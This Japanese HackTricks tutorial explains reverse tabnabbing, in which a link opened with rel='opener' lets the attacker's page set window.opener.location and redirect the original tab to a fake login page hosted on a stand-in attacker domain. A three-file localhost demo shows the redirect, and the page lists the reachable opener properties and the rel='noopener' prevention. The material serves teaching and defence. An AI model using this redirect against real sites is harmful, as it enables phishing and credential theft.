8 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
説明
攻撃者が被害者によってクリックされる予定の**<a
タグのhref
引数を制御できる状況で、その<a
タグにはtarget="_blank" rel="opener"
属性が付いています。この場合、攻撃者はこのリンクを自分の制御下にあるウェブ(悪意のあるウェブサイト)に向けます。そして、被害者がリンクをクリックして攻撃者のウェブサイトにアクセスすると、この悪意のあるウェブサイトはwindow.opener
というJavaScriptオブジェクトを介して元のページを制御することができます。
もしページにrel="opener"
がなく、target="_blank"
があり、rel="noopener"
**もない場合、それも脆弱性の可能性があります。
この挙動を悪用する一般的な方法は、window.opener.location = https://attacker.com/victim.html
というコードを使用して、元のウェブの場所を攻撃者が制御するウェブに変更することです。この攻撃者が制御するウェブは、元のウェブサイトのログインフォームを模倣し、ユーザーに資格情報を要求することができます。
ただし、攻撃者が今や元のウェブサイトのウィンドウオブジェクトを制御できるようになったため、他の方法でも悪用することができ、よりステルス性の高い攻撃を行うことができます(たとえば、JavaScriptイベントを変更して情報を彼が制御するサーバーに外部流出させるなど)。
概要
バックリンクあり
予防属性が使用されていない場合の親ページと子ページの間のリンク:
バックリンクなし
予防属性が使用されている場合の親ページと子ページの間のリンク:
例
以下のページをフォルダに作成し、python3 -m http.server
でウェブサーバーを実行します。
その後、http://127.0.0.1:8000/
vulnerable.htmlにアクセスし、リンクをクリックして元のウェブサイトのURLがどのように変化するかを確認してください。
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% code title="malicious.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
アクセス可能なプロパティ
悪意のあるサイトは、クロスオリジン(クロスドメイン)アクセスの場合、以下のプロパティにのみアクセスできます。これらは、opener JavaScriptオブジェクト参照(実際にはwindow JavaScriptクラスのインスタンスへの参照)から取得できます。
opener.closed
:ウィンドウが閉じられたかどうかを示すブール値を返します。opener.frames
:現在のウィンドウ内のすべてのiframe要素を返します。opener.length
:現在のウィンドウ内のiframe要素の数を返します。opener.opener
:ウィンドウを作成したウィンドウへの参照を返します。opener.parent
:現在のウィンドウの親ウィンドウを返します。opener.self
:現在のウィンドウを返します。opener.top
:最上位のブラウザウィンドウを返します。
ドメインが同じ場合、悪意のあるサイトはwindow JavaScriptオブジェクト参照によって公開されるすべてのプロパティにアクセスできます。
予防策
予防策については、HTML5チートシートに文書化されています。
参考文献
{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしましょう。
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。